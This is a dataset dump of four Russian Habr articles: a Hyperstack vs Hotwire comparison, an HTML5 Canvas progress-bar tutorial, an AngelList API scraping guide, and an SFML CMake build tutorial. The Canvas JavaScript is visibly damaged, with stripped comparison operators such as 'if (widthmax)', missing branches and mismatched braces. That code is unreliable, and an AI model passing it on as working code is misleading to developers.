text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Hyperstack vs Hotwire (перевод)
Попробую приноровиться к хабру и залью сюда перевод статьи с [другого своего ресурса](https://blog.rnds.pro/012-hotwire).
---
Это весьма самоуверенное, но, надеюсь, честное и точное сравнение Hyperstack и Hotwire.
Прежде всего, что это за вещи?
**Оба решения помогают затащить современный UI в Rails.**
**Оба завязаны на Websockets для получения уведомлений об изменении состояния.**
### Hyperstack
* *Всё* написано на Ruby (включая клиентский код)
* Под капотом используется React для построения UI с возможностью доступа к библиотекам React
* Легко поддерживает синхронизацию моделей Rails между UI и сервером. Зачастую без дополнительного кода
* Убирает необходимость написания контроллеров (но при желании можно продолжать их использовать)
* Отдает максимально возможное количество работы на сторону клиента
* Предоставляет мощный механизм контроля доступа к данным, построенный на политиках “Pundit"
* Может использоваться в существующих Rails-приложениях
### Hotwire
* Это следующий виток эволюции Rails Turbolinks
* Расширяет стандартную MVC систему Rails за счет передачи инкрементальных обновлений на уровень представления
* Использует традиционные Rails подходы
* Оставляет бóльшую часть работы на стороне сервера, делая клиентскую часть очень лёгкой
* Устраняет большую часть JS-кода (но не весь), которую вам может потребоваться писать
* Поддерживается DHH и, предположительно, сообществом Rails
Чтобы бегло сравнить данные технологии, я обратился к простому приложению “Tweet” (<https://gorails.com/episodes/hotwire-rails>) и создал такое же на Hyperstack. *На заметку: данный дизайн UI компонентов не моя идея, я позаимствовал код с минимально возможными изменениями.*
Поскольку одна из основных целей Hyperstack состоит в уменьшении общего объема кода, начнём рассмотрение с числа строк. Сгененированные файлы и шаблоны, такие как layout и стили включать не будем, поскольку они совпадают.
#### Hyperstack - 78 lines vs — Hotwire — 156
Но строки - это еще не всё, какой инструмент будет легче в понимании и поддержке?
Рассмотрим, как каждый фреймворк реализует “Tweet Card”, отображающий твит и позволяет обновлять счетчики "лайков" и "ретвитов".
Hyperstack:
Hotwire:
Пока что оба приведенных участка кода очень похожи.
*Hyperstack определяет React-компонент, берущий твит в качестве параметра, и формирует код на основании DSL. Этот DSL отражает нижележащую HTML-разметку с дополнительными компонентами в вашем приложении. Например EditTweet компонент, подключаемый в 11 строке.*
Hotwire использует ERB для генерации HTML, используя ряд вспомогательных функций, таких как `turbo_frame_tag` и т. д.
*Как и React, Hyperstack является декларативным и “state-driven” инструментом. Когда пользователь нажимает на кнопку “изменить”, устанавливается состояние “editing”, что в свою очередь заставляет компонент перерисовать и подключить EditTweet компонент (строка 14). EditTweet в свою очередь эмитит события save или cancel, оба из которых возвращают “editing state” в состояние false. Всё это определяется и исполняется на стороне клиента.*
Цель же Hotwire заключается в реализации логики на сервере таким образом, что нажатие на “Edit” просто отправляет запрос на сервер, который выполняет обновление компонента.
*Когда пользователь нажимает “Like” или “Retweet”, Hyperstack обрабатывает событие с помощью* `.on(:click)`, и просто зовет ActiveRecord `increment!` и обновляет счетчик твита. Под капотом Hyperstack занимается поддержанием локальной копии твита в синхронизированном с сервером состоянии и пересылает все изменения всем участвующим клиентам (браузерам)
Hotwire тем временем выполняет обновления счётчиков так же, как и edit функция: передаёт работу серверу и требует наличия когда, обрабатывающего это. И действительно, тут есть три контроллера, которые выполняют работу по обработке изменений твита:
Таким образом, не смотря на то, что код Hyperstack изначально был немного длиннее, пользовательский интерфейс — это еще не вся история. И чтобы html.erb действительно заработал, необходимо ещё 70+ строк **и что ещё хуже UI-логика оказывается размазана по четырём файлам.**
Но мы ещё не закончили. В добавок к .erb файлу и контроллерам нам также необходим`json` файл, который выполняет функции связующего API. К счастью, Hotwire поставляется с jbuilder, так что это всего лишь 2 строки когда, но его надо написать **и поддерживать**.
Погодите, мы ещё не закончили. Чтобы Hotwire знал, что ему необходимо разослать изменения клиентам, вам надо добавить три дополнительных колбэка (`after_...`) в `twitter.rb`
Мы закончили? Почти. Остался ещё один файл. Помните про контроллеры? Теперь к ним надо добавить роуты, а это еще 3 строки в другом файле. Честно говоря, Hyperstack тоже требует несколько строк (две если быть точным) в `routes.rb`, но они никогда не будут меняться в течении жизни приложения.
Прежде чем я продолжу, давайте посмотрим с другой стороны. Допустим у вас уже есть рабочее приложение, к которому вы хотите добавить кнопку “Like”
Что для этого нужно?
Во-первых в обоих фреймворках вам надо добавить атрибут в модель данных, создав и выполнив миграцию. (Рельсы!)
Далее для Hotwire необходимо:
* добавить ресурс в роуты
* добавить контроллер (как мы видели это 14 строк)
* не забыть обновить `json`, добавив в него новый атрибут
* и наконец добавить `button_to` тэг в `_tweet.html.erb`
Мы затронули четыре файла и добавили 16 строк кода, используя знания о шести подсистемах Rails - action controller, view helpers, jbuilder, active record и router - написали собственный код на Ruby, HTML и ERB.
Как выполняется та же задача на Hyperstack?
Как только закончили с миграциями надо добавить только:
```
BUTTON { "Likes (#{tweet.likes_count})" }
.on(:click) { tweet.increment!(:likes_count) }
```
Для чего требуется только понимание функции active record `increment!` и HyperComponent DLS, что напрямую относится к выполняемой работе.
### В чем подвох?
Подвоха нет, просто другие цели. Hyperstack строился для максимизации эффективности программиста и для передачи работы с сервера на сторону клиента. Он достигает целей используя один замечательный язык, опираясь на Rails и используя девиз Rails о “convention over configuration” для устранения ненужных шаблонов.
Заявленная цель Hotwire состоит в том, чтобы сохранить контроль за приложением на сервере и он достигает её ценой ценой усложнения поддержки и понимаемости приложения. Он также использует более консервативный подход в архитектуре приложения, вместо того, чтобы отказываться от контроллеров и заменять ERB файлы на собственный DSL. Он основан на проверенных и надёжных техниках Rails, который привычны многим разработчикам.
### Некоторые другие соображения
Это маленькое упражнение, но оно позволяет увидеть как две разные системы выполняют свои задачи. Я считаю, что с Hotwire становится сложнее, с Hyperstack — проще. Я не могу этого доказать, но как я уже сказал это самоуверенная статья.
Ещё одно соображение касательно ценности участия в экосистеме React. Фундаментальная архитектура React, как декларативной и "state-driven" системы, делает результирующий код невероятно простым для написания и понимания. Я считаю, что гораздо проще (разумеется, после того, как преодолел порог вхождения) создавать высокофункциональный и поддерживаемый код в декларативном стиле. Более того, существует множество готовых компонентов React для решения самых разнообразных задач, что ещё больше сокращает объём кода, который необходимо писать и поддерживать.
И последнее: о ценности разработки на одном языке. Многие не считают это существенным, а работу программиста с несколькими языками и системами - само собой разумеющимся. Но это не так. Постоянное переключение контекста заставляет программиста растрачивать ценную энергию и думать о деталях реализации, вместо того, чтобы думать о системе в целом. Нет ничего, что могло бы сделать один язык лучше для разработки пользовательского интерфейса, а другой - для серверной части. Есть инструменты для компиляции практически любого языка на любую платформу, так почему бы не выбрать один язык, который можно использовать в масштабах всей системы? И если вы собираетесь выбрать язык, то Ruby трудно превзойти.
Оригинал: [*Hyperstack vs Hotwire*](https://medium.com/@mitch_23203/hyperstack-vs-hotwire-1d412f8b33e2) *от 26 февраля 2021 года. Автор:* [@catprint](https://twitter.com/catprint) aka [Mitch VanDuyn](https://medium.com/@mitch_23203)
### От переводчика
Мы решили выбрать эту статью для того, чтобы осветить различные современные течения во фронтендной части Rails. Мы не определились до конца с подобными инструментами, однако на нескольких проектах начали использовать Stimulus и двигаемся в сторону Hotwire. | https://habr.com/ru/post/550118/ | null | ru | null |
# Индикатор прогресса с помощью HTML5 Canvas
Привет, Хабр!
Всё больше статей появляется про Canvas, и это не может не радовать. [Основы](http://habrahabr.ru/blogs/html5/111308/), будем надеяться, уже изучены, а мне хотелось бы поделиться примером возможного практического использования canvas, а именно создать анимированный индикатор прогресса.
Для нетерпеливых результаты эксперимента можно посмотреть здесь: <http://pastehtml.com/view/1d7z824.html>, а также скриншот конечного результата:
Прогресс-бар получился довольно простой, но в то же время в стиле веб 2.0 — закругленный (конечно же!), с элементами глубины и объема: то есть тенями и градиентами.
За подробностями прошу под кат.
### Подложка
Начнем с отрисовки подложки, которая будет заполняться прогрессом. Скругления на концах прямоугольника будем делать с помощью функции [arc()](https://developer.mozilla.org/en/Canvas_tutorial/Drawing_shapes#Arcs), поэтому в данном случае прямоугольник всегда будет скруглен на концах полуокружностями, для создания произвольного скругления (как при использовании border-radius) достаточно использовать 2 [кривые Безье](http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%91%D0%B5%D0%B7%D1%8C%D0%B5) ([Bezier and quadratic curves](https://developer.mozilla.org/en/Canvas_tutorial/Drawing_shapes#Bezier_and_quadratic_curves)) и прямой отрезок между ними (вырождающийся в точку при полуокружности, как в нашем случае). Итак, функция создания заполненного контура подложки будет выглядеть следующим образом:
```
function roundRect(ctx, x, y, width, height, radius) {
ctx.beginPath();
ctx.moveTo(x + radius, y);
ctx.lineTo(x + width - radius, y);
ctx.arc(x+width-radius, y+radius, radius, -Math.PI/2, Math.PI/2, false);
ctx.lineTo(x + radius, y + height);
ctx.arc(x+radius, y+radius, radius, Math.PI/2, 3*Math.PI/2, false);
ctx.closePath();
ctx.fill();
}
```
Добавим подложке тени и объем. Объем создадим с использованием линейного градиента с тремя остановками, тени — с помощью стандартных свойств контекста:
```
function progressLayerRect(ctx, x, y, width, height, radius) {
ctx.save();
// Определяем тени
ctx.shadowOffsetX = 2;
ctx.shadowOffsetY = 2;
ctx.shadowBlur = 5;
ctx.shadowColor = '#666';
// Начальный серый слой
ctx.fillStyle = 'rgba(189,189,189,1)';
roundRect(ctx, x, y, width, height, radius);
// Второй слой с градиентом
// Убираем тень
ctx.shadowColor = 'rgba(0,0,0,0)';
var lingrad = ctx.createLinearGradient(0,y+height,0,0);
lingrad.addColorStop(0, 'rgba(255,255,255, 0.1)');
lingrad.addColorStop(0.4, 'rgba(255,255,255, 0.7)');
lingrad.addColorStop(1, 'rgba(255,255,255,0.4)');
ctx.fillStyle = lingrad;
roundRect(ctx, x, y, width, height, radius);
ctx.restore();
}
```
Здесь используются два слоя — нижний сплошного серого цвета и верхний белый с градиентами прозрачности. На мой взгляд это позволяет получить более четкие границы подложки и выглядит более реалистично, в любом случае всегда можно поэкспериментировать со всеми цветовыми настройками.
Если все было сделано верно, должно получиться примерно следующее: 
#### Индикатор прогресса
Теперь перейдем к созданию заполняющего подложку прогресса.
Прогресс — это тот же прямоугольник с закругленными краями, только другого цвета. Однако у него имеется особенность, которая отличает его от подложки и которую необходимо учесть при отрисовке — когда ширина прогресса меньше радиуса закругления и когда ширина больше длины подложки минус радиус. В этих случаях нужно дополнительно вычислить углы отрисовки закругления и положение [хорды окружности](http://ru.wikipedia.org/wiki/%D0%A5%D0%BE%D1%80%D0%B4%D0%B0_%28%D0%B3%D0%B5%D0%BE%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%8F%29), все вычисления производятся на основе школьного курса геометрии, для наглядности они изображены на рисунке ниже:
Плюс ко всему добавим тень с правого края прогресса для придания ему эффекта объема.
В итоге получаем следующий код отрисовки прогресса:
```
function progressBarRect(ctx, x, y, width, height, radius, max) {
// смещение для отрисовки хорды
var offset = 0;
ctx.beginPath();
if (widthmax) {
offset = radius - Math.sqrt(Math.pow(radius,2)-Math.pow((radius - (max-width)),2));
// Правый угол
var right\_angle = Math.acos((radius - (max-width)) / radius);
ctx.moveTo(x + radius, y);
ctx.lineTo(x + width, y);
ctx.arc(x+max-radius, y + radius, radius, -Math.PI/2, -right\_angle, false);
ctx.lineTo(x + width, y+height-offset);
ctx.arc(x+max-radius, y + radius, radius, right\_angle, Math.PI/2, false);
ctx.lineTo(x + radius, y + height);
ctx.arc(x+radius, y+radius, radius, Math.PI/2, 3\*Math.PI/2, false);
}
else {
ctx.moveTo(x + radius, y);
ctx.lineTo(x + width, y);
ctx.lineTo(x + width, y + height);
ctx.lineTo(x + radius, y + height);
ctx.arc(x+radius, y+radius, radius, Math.PI/2, 3\*Math.PI/2, false);
}
ctx.closePath();
ctx.fill();
// Тень справа
if (widthmax)
offset = offset+1;
ctx.fillRect(x+width,y+offset,1,total\_height-offset\*2);
ctx.restore();
}
}
```
Здесь, в отличие от предыдущей функции, мы не делаем сохранение и восстановление контекста как в случае с подложкой, потому что собираемся задать для прогресса глобальные атрибуты контекста.
#### Текст прогресса
Осталось добавить текст, описывающий состояние прогресса в процентах. Текст будет располагаться непосредственно у правой границы прогресса если длина текста меньше длины прогресса, или у левого края прогресса в противном случае. Для измерения длины теста используем функцию [measureText()](https://developer.mozilla.org/en/drawing_text_using_a_canvas#measureText%28%29):
```
function progressText(ctx, x, y, width, height, radius, max) {
ctx.save();
ctx.fillStyle = 'white';
var text = Math.floor(width/max*100)+"%";
var text_width = ctx.measureText(text).width;
var text_x = x+width-text_width-radius/2;
if (width<=radius+text_width) {
text_x = x+radius/2;
}
ctx.fillText(text, text_x, y+22);
ctx.restore();
}
```
#### Полноценный индикатор прогресса
Теперь осталось соединиться все части воедино и задать анимацию, заполняющую прогресс от 0 до 100%. Для анимации используем функции [sеtInterval()](https://developer.mozilla.org/en/DOM/window.setInterval) и [clearInterval()](https://developer.mozilla.org/en/DOM/window.clearInterval):
```
// Задаём размеры и положение индикатора
var i = 0;
var res = 0;
var context = null;
var total_width = 300;
var total_height = 34;
var initial_x = 20;
var initial_y = 20;
var radius = total_height/2;
window.onload = function() {
// Получаем элемент canvas
var elem = document.getElementById('myCanvas');
// Проверяем поддержку canvas браузером
if (!elem || !elem.getContext) {
return;
}
context = elem.getContext('2d');
if (!context) {
return;
}
// Шрифт теста прогресса
context.font = "16px Verdana";
// Грандиент для прогресса
var progress_lingrad = context.createLinearGradient(0,initial_y+total_height,0,0);
progress_lingrad.addColorStop(0, '#4DA4F3');
progress_lingrad.addColorStop(0.4, '#ADD9FF');
progress_lingrad.addColorStop(1, '#9ED1FF');
context.fillStyle = progress_lingrad;
// Создаём анимацию
res = setInterval(draw, 50);
}
function draw() {
// Увеличиваем длину на 1 на каждой итерации
i+=1;
// Очищаем область рисования
context.clearRect(initial_x-5,initial_y-5,total_width+15,total_height+15);
progressLayerRect(context, initial_x, initial_y, total_width, total_height, radius);
progressBarRect(context, initial_x, initial_y, i, total_height, radius, total_width);
progressText(context, initial_x, initial_y, i, total_height, radius, total_width );
// Останавливаем анимацию при достижении 100%
if (i>=total_width) {
clearInterval(res);
}
}
```
Вот и всё, осталось разместить javascript-код в теге | https://habr.com/ru/post/113782/ | null | ru | null |
# Как за 15 минут собрать базу стартапов в любой стране через AngelList
Если вы заняты однообразным процессом, то велики шансы, что его можно автоматизировать. AngelList — платформа, соединяющая инвесторов и стартапы. В России на AngelList зарегистрировано 1300+ стартапов, и работать с ними напрямую через сайт можно, но не получится искать по разным параметрам и управлять списком.
Существует 2 известных мне способа собрать базу стартапов c AngelList.
Способ первый, простой. Требует минимальных навыков программирования
====================================================================
У AngelList есть свой [Restful API](https://angel.co/api). Если навыков программирования нет, советую-таки найти умелого человека и делегировать задачку ему. Решение сильно упростит вам жизнь, а работы тут немного.
1. Регистрируем приложение, получаем токены.
2. Далее для простоты качаем c GitHub простую [библиотеку](https://github.com/Falicon/AngelList) на Python.
3. Затем указываем свои токены
4. Переписываем метод getTagsStartups, чтобы можно было переходить на следующие страницы в выдаче
```
def getTagsStartups(self, access_token = None, tag_id = None, page=None):
self.check_access_token(access_token)
if tag_id is None:
raise AngelListError("the tag_id param is required for this api call.")
return self.do_get_request('%s/1/tags/%s/startups?access_token=%s&page=%s' % (self.API_ENDPOINT, tag_id, self.access_token, page))
```
5. Вызываем метод getTagsStartups(tag\_id='1677'), чтобы получить JSON с первой выдачей компаний в России. Для других стран id должен быть другой: 1717 для Франции, 2215 для Греции, 1682 для Сингапура и т.д.
6. Смотрим, сколько получилось страниц в выдаче
7. Вызываем метод с параметром page в цикле столько раз, сколько получилось страниц, параллельно записывая все в файл.
Готово. Результаты сохранены в json, который вполне читабелен. Если кто-то найдет способ сконвертировать его в более удобный формат, будет здорово это увидеть в комментариях.
Способ второй, мучительный. Требует терпения
============================================
Существует стартап [Import.io](https://import.io). Компания предоставляет бесплатное приложение для скрэпинга информации с сайтов. На сайте есть подробная [инструкция](http://blog.import.io/post/remix-your-data), как собрать информацию о сотрудниках с AngelList.
После часа работы с приложения я сдался, так как первый способ и без того хорошо решил проблему. Сумел вытащить только 50 компаний. Но если навостриться, то процесс пойдет быстрее. В любом случае, над продуктом работают. Будем надеяться, что приложение будет работать лучше.
**UPD** Читатель мегамозга поделился еще одним способом, который позволяет выгрузить 100 компаний в формате .csv. В списке компаний angel.co/companies есть кнопка export.
К сожалению, в csv не будет такой подробной информации, как в json. В частности, в csv отсутствует описание компаний и контактная информация. | https://habr.com/ru/post/293648/ | null | ru | null |
# 1.5 Компиляция SFML с помощью CMake
*От переводчика: данная статья является пятой в цикле переводов официального руководства по библиотеке SFML. Прошлую статью можно найти [тут.](https://habrahabr.ru/post/279147/ "Предыдущая статья: SFML и Xcode (Mac OS X)") Данный цикл статей ставит своей целью предоставить людям, не знающим язык оригинала, возможность ознакомится с этой библиотекой. SFML — это простая и кроссплатформенная мультимедиа библиотека. SFML обеспечивает простой интерфейс для разработки игр и прочих мультимедийных приложений. Оригинальную статью можно найти [тут](http://www.sfml-dev.org/tutorials/2.3/compile-with-cmake.php "Оригинальная статья: Compiling SFML with CMake"). Начнем.*
**Оглавление:**0.1 Вступление
1. Приступая к работе
1. [SFML и Visual Studio](https://habrahabr.ru/post/278977/ "Перейти к статье: SFML и Visual Studio")
2. [SFML и Code::Blocks (MinGW)](https://habrahabr.ru/post/279069/ "Перейти к статье: SFML и Code::Blocks (MinGW)")
3. [SFML и Linux](https://habrahabr.ru/post/279107/ "Перейти к статье: SFML и Linux")
4. [SFML и Xcode (Mac OS X)](https://habrahabr.ru/post/279147/ "Перейти к статье: SFML и Xcode (Mac OS X)")
5. [Компиляция SFML с помощью CMake](https://habrahabr.ru/post/279279/ "Перейти к статье: Компиляция SFML с помощью CMake")
2. Модуль System
1. [Обработка времени](https://habrahabr.ru/post/279347/ "Перейти к статье: Обработка времени")
2. [Потоки](https://habrahabr.ru/post/279653/ "Перейти к статье: Потоки")
3. [Работа с пользовательскими потоками данных](https://habrahabr.ru/post/279689/ "Перейти к статье: Работа с пользовательскими потоками данных")
3. Модуль Window
1. [Открытие и управление окнами](https://habrahabr.ru/post/279957/ "Перейти к статье: Открытие и управление окнами")
2. [Обработка событий](https://habrahabr.ru/post/280153/ "Перейти к статье: Обработка событий")
3. Работа с клавиатурой, мышью и джойстиками
4. Использование OpenGL
4. Модуль Graphics
1. Рисование 2D объектов
2. Спрайты и текстуры
3. Текст и шрифты
4. Формы
5. Проектирование ваших собственных объектов с помощью массивов вершин
6. Позиция, вращение, масштаб: преобразование объектов
7. Добавление специальных эффектов с шейдерами
8. Контроль 2D камеры и вида
5. Модуль Audio
1. Проигрывание звуков и музыки
2. Запись аудио
3. Пользовательские потоки аудио
4. Спатиализация: звуки в 3D
6. Модуль Network
1. Коммуникация с использованием сокетов
2. Использование и расширение пакетов
3. Веб-запросы с помощью HTTP
4. Передача файлов с помощью FTP
Вступление
----------
Название этой статьи может ввести в заблуждение. Вы не будете компилировать SFML с помощью CMake, потому что CMake не является компилятором. Итак, чем же является CMake?
CMake — это кроссплатформенная система автоматизации сборки программного обеспечения из исходного кода. Вместо сборки SFML, она собирает то, что собирает SFML: решение Visual Studio, проект Code::Blocks, make-файлы Linux, проект XCode и так далее. Фактически она может генерировать файлы сборки или проекта для любой операционной системы или компилятора на ваш выбор. CMake чем-то похожа на autoconf/automake или premake.
CMake используется многими проектами, включая Blender, Boost, KDE, и Ogre. Вы можете прочитать больше о CMake на [официальном веб-сайте](http://www.cmake.org/ "Официальный веб-сайт CMake") или на ее [странице в википедии](http://en.wikipedia.org/wiki/CMake "Страница википедии, посвященная CMake").
Как вы могли ожидать, эта статья разделена на две части:
* Генерация конфигурационного файла сборки с использованием CMake
* Сборка SFML и набора средств разработки с использованием данного конфигурационного файла
Установка зависимостей
----------------------
SFML зависит от некоторых библиотек, так что, прежде чем приступать к конфигурированию, вы должны их удовлетворить.
На Windows и Mac OS X все зависимости SFML поставляются вместе с ней, так что вам не придется ничего скачивать/устанавливать. Сборка будет работать «из коробки».
Однако в Linux никакие зависимости не удовлетворены заранее, так что вам придется установить все зависимости. Вот список зависимостей, которые необходимо удовлетворить перед сборкой SFML:
* freetype
* jpeg
* x11
* xrandr
* xcb
* x11-xcb
* xcb-randr
* xcb-image
* opengl
* flac
* ogg
* vorbis
* vorbisenc
* vorbisfile
* openal
* pthread
Имена этих пакетов в различных дистрибутивах могут отличаться. После их установки не забудьте установить заголовочные файлы для разработчиков.
Конфигурация вашей сборки SFML
------------------------------
Этот шаг состоит из создания проекта/файла сборки, с помощью которого, в конечном счете, и будет скомпилирована SFML. Обычно, этот шаг заключается в выборе цели сборки, способа сборки и места сборки. Есть несколько других опций, которые позволят вам создавать файлы конфигурации сборки, соответствующие вашим потребностям. Мы рассмотрим эту тему более подробно ниже.
Первое, что вам необходимо выбрать — где будут созданы проект/файлы сборки и объектные файлы (файлы, получаемые во время процесса компиляции). Они могут генерироваться и в дереве исходного кода (т.е. в корневой директории SFML), однако это вызовет загрязнение корневого каталога объектными файлами и прочим мусором. Наилучшее решение — генерировать их в отдельную папку, что позволит вам сохранить корневую директорию SFML чистой. Использование отдельной директории также поможет в использовании нескольких сборок (static, dynamic, debug, release, ...).
Теперь, когда вы выбрали директорию сборки, есть еще одна вещь, которую необходимо сделать перед запуском CMake. Когда CMake конфигурирует ваш проект, она ищет доступный компилятор (и, если это необходимо, проверяет его версию). По этой причине исполняемый файл компилятора должен быть доступен, когда CMake запускается. Это не проблема на Mac OS X и Linux, потому что компилятор установлен по стандартному пути и всегда доступен, но на Windows вы должны добавить путь до директории вашего компилятора в переменную среды PATH, что бы CMake смог найти его автоматически. Это особенно важно, когда у вас установлено несколько компиляторов или несколько версий одного компилятора.
На Windows, в случае, если вы используете GCC (MinGW), вы можете временно добавить путь до директории MinGW\bin и затем запустить CMake из командной строки:
```
> set PATH=%PATH%;your_mingw_folder\bin
> cmake -G"MinGW Makefiles" ./build
```
С Visual C++ вы можете просто запустить CMake из «командной строки Visual Studio», доступной из меню «Пуск», или запустить .bat-файл vcvars32.bat вашей установки Visual Studio в консоли, .bat-файл установит все переменные среды в консоли за вас.
```
> your_visual_studio_folder\VC\bin\vcvars32.bat
> cmake -G"NMake Makefiles" ./build
```
Теперь вы можете запустить CMake. По факту есть три способа запустить ее:
* **cmake-gui**
Это графический интерфейс CMake, который позволяет вам сконфигурировать все с помощью кнопок и текстовых полей. Очень удобно просматривать и редактировать опции сборки, и, возможно, это наиболее легкое решение для новичков и людей, которые не хотят иметь дело с командной строкой.
* **cmake -i**
Это интерактивная командная строка CMake, которая проведет вас через параметры сборки. Это хорошее решение, если вы хотите запустить CMake из командной строки, но не помните все параметры, которые доступны при использовании из командной строки, и какие из них важны.
* **cmake**
Это прямой вызов к CMake. Если вы используете этот способ, вы должны указать все аргументы и их значения в качестве параметров командной строки. Что бы распечатать список аргументов, запустите cmake -L.
В этой статье мы будем использовать cmake-gui, так как этот вариант, скорее всего, будут использовать новичка. Мы предполагаем, что люди, использующие командную строку, обратятся к документации по CMake. За исключением снимков экрана и инструкций по нажатию кнопок, все, что объясняется ниже, применимо и для командной строки (опции, например).
Вот как выглядит CMake GUI:
Первые шаги, которые вы должны сделать, перечислены ниже:
* Укажите CMake, где располагается исходный код SFML (это должен быть корневой каталог SFML, в котором расположен файл CMakeLists.txt).
* Выберите директорию, в которой будет сгенерирован проект или файлы сборки (если директория не существует, CMake создаст ее).
* Нажмите на кнопку «Configure».
Если вы запускаете CMake в первый раз в данной директории (или если вы очистили кэш, оставшийся после прошлых запусков), CMake GUI предложит вам выбрать генератор. Другими словами, выбрать ваш компилятор/IDE.
Если вы используете Visual Studio 2010, вы должны выбрать «Visual Studio 10 2010» из выпадающего списка. Для генерации файла сборки для Visual Studio NMake, выберите «NMake Makefiles». Что бы сгенерировать файл сборки для MinGW (GCC), выберите «MinGW Makefiles». Как правило, легче собрать SFML с помощью файлов сборки: вы можете собрать всю библиотеку, используя одну команду, или даже сгрупировать несколько сборок в одном скрипте. В случае, если вы планируете собрать SFML и не хотите редактировать исходный код библиотеки, проект IDE вам не подходит.
Что еще более важно, процесс установки (он будет описан ниже) не работает для генератора «Xcode». По этой причине настоятельно рекомендуется использовать генератор «Makefile» при сборке на Mac OS X.
Всегда проверяйте, включена ли опция «Use default native compilers». Остальные три опции можно не трогать.
После выбора генератора, CMake запустит серию тестов, что бы собрать информацию о вашем наборе инструментов: компиляторе, стандартных заголовочных файлах, зависимости SFML и так далее. Если тесты завершатся успешно, будет выведено сообщение «Configuring done». Если что-то пойдет не так — внимательно прочитайте текст ошибки. Это может произойти, если ваш компилятор не доступен или настроен неправильно, либо не удовлетворена одна из зависимостей SFML.
После окончания конфигурирования, опции сборки появятся в центре окна. CMake имеет много опций, но многие из них установлены в правильное значение по умолчанию. Некоторые из них являются переменными кеша и лучше их не менять.
Это некоторые параметры, которые вы можете захотеть определить при конфигурировании вашей сборки SFML:
| Параметр | Значение |
| --- | --- |
| CMAKE\_BUILD\_TYPE | Этот параметр устанавливает тип собираемой конфигурации. Принимает ключи «Debug» и «Release» (есть и другие принимаемые ключи, такие как «RelWithDebInfo» или «MinSizeRel», но они предназначены для более продвинутой сборки).
Помните, что если вы используете генератор для IDE, которая поддерживает множество конфигураций (например, Visual Studio), этот параметр игнорируется по причине того, что сборка может содержать несколько конфигураций одновременно. |
| `CMAKE_INSTALL_PREFIX` | Путь, по которому будет произведена установка. По умолчанию, он установлен в наиболее типичный путь установки для данной операционной системы ("/usr/local" для Linux и Mac OS X, «C:\Program Files» для Windows и так далее). Установка SFML после сборки не является обязательной, вы можете использовать бинарные файлы напрямую из директории, в которой была произведена сборка. Однако установка SFML предпочтительнее. |
| `CMAKE_INSTALL_FRAMEWORK_PREFIX(только для Mac OS X)` | Путь, по которому будет произведена установка фреймворка. По умолчанию это корневая папка библиотек, т.е. /Library/Frameworks. Как и в случае с CMAKE\_INSTALL\_PREFIX, этот параметр не является обязательным, но он рекомендована для охранения чистоты системы. Этот путь также используется для установки фреймворка sndfile (зависимость, не предоставляемая Apple) и фреймворка SFML, если был выбран параметр LD\_FRAMEWORKS. |
| `BUILD_SHARED_LIBS` | Этот логический параметр определяет, будет ли SFML собираться как динамическая (общая) библиотека, или как статические.
Эта опция не должна быть включена одновременно с SFML\_USE\_STATIC\_STD\_LIBS, они являются взаимоисключающими. |
| `SFML_BUILD_FRAMEWORKS(только Mac OS X)` | Этот логический параметр определяет, будете ли вы строить SFML как [фреймворк](http://developer.apple.com/library/mac/#documentation/MacOSX/Conceptual/BPFrameworks/Frameworks.html "Перейти к документации Apple по фрейворкам") или как [бинарную динамическую библиотеку](http://developer.apple.com/library/mac/#documentation/DeveloperTools/Conceptual/DynamicLibraries/000-Introduction/Introduction.html "Перейти к документации Apple по динамическим библиотекам"). Сборка фреймворка требует определения параметра BUILD\_SHARED\_LIBS.
При публикации вашего продукта рекомендуется использовать SFML в качестве фреймворка. Заметим, что SFML не может быть собрана в конфигурации debug как фреймворк. В случае, если вам необходимо использовать SFML в конфигурации debug, используйте ее в качестве динамической библиотеки. |
| `SFML_BUILD_EXAMPLES` | Этот логический параметр определяет, будут ли примеры использования SFML собраны с библиотекой или нет. |
| `SFML_BUILD_DOC` | Этот логический параметр определяет, будет ли генерироваться документация по SFML. Обратите внимание, что программа [Doxygen](http://www.doxygen.org "Перейти на веб-сайт doxygen") должна быть установлена и доступна, в противном случае включение этой опции приведет к ошибке.
На Mac OS X вы можете установить классический Unix doxygen в /usr/bin или подобную директорию директорию, либо же установить Doxygen.app в директорию «Applications», т.е. в ~/Applications. |
| `SFML_USE_STATIC_STD_LIBS (только для Windows)` | Этот логический параметр выбирает тип библиотеки времени выполнения C/C++, с которой будет скомпонована SFML.
Если параметру присвоено значение TRUE, происходит статическая компоновка со стандартными библиотеками компилятора. В результате SFML становится самодостаточным и не зависит от динамических библиотек.
Если параметру присвоено значение FALSE (стандартный вариант), происходит динамическая компоновка со стандартными библиотеками. В результате SFML будет зависеть от dll библиотек компилятора (msvcrxx.dll/msvcpxx.dll в случае Visual C++, libgcc\_s\_xxx-1.dll/libstdc++-6.dll в случае GCC). Будьте осторожны при установке данного параметра. Настройки должны соответствовать вашему собственному проекту. Данная опция не должна быть включена одновременно с BUILD\_SHARED\_LIBS. |
| `CMAKE_OSX_ARCHITECTURES(только для Mac OS X)` | Этот параметр указывает, для какой архитектуры SFML должен быть собран. Рекомендуется значение «i386;x86\_64», для генерации универсальных бинарных файлов для обеих архитектур. |
| `SFML_INSTALL_XCODE_TEMPLATES(только Mac OS X)` | Этот логический параметр определяет, будет ли с CMake устанавливать шаблоны для Xcode на вашу систему.
Пожалуйста, убедитесь, что директория /Library/Developer/Xcode/Templates/SFML существует и доступна для записи.
Дополнительные сведения об этих шаблонах можно найти в [статье, рассматривающей установку SFML на Mac OS X](https://habrahabr.ru/post/279147/#first_unread). |
| SFML\_INSTALL\_PKGCONFIG\_FILES(только для разделяемых библиотек Linux) | Этот логический параметр определяет, будет ли CMake устанавливать pkg-config файлы на вашей системе. pkg-config — это инструмент, который предоставляет унифицированный интерфейс для запросов к установленным библиотекам. |
После того, как все было сконфигурировано, нажмите на кнопку «Configure» еще раз. Опции не должны быть подсвечены красным цветом и кнопка «Generate» должна быть доступна. Нажмите на нее, что бы окончательно сгенерировать файлы сборки/проекта.
CMake создает кэш переменных для каждого проекта. Поэтому, если вы решите перенастроить что-либо позднее, вы обнаружите, что настройки прошлой конфигурации были сохранены. Внесите необходимые изменения, перенастройте и сгенерируйте новые файлы сборки/проекта.
C++11 и Mac OS X
----------------
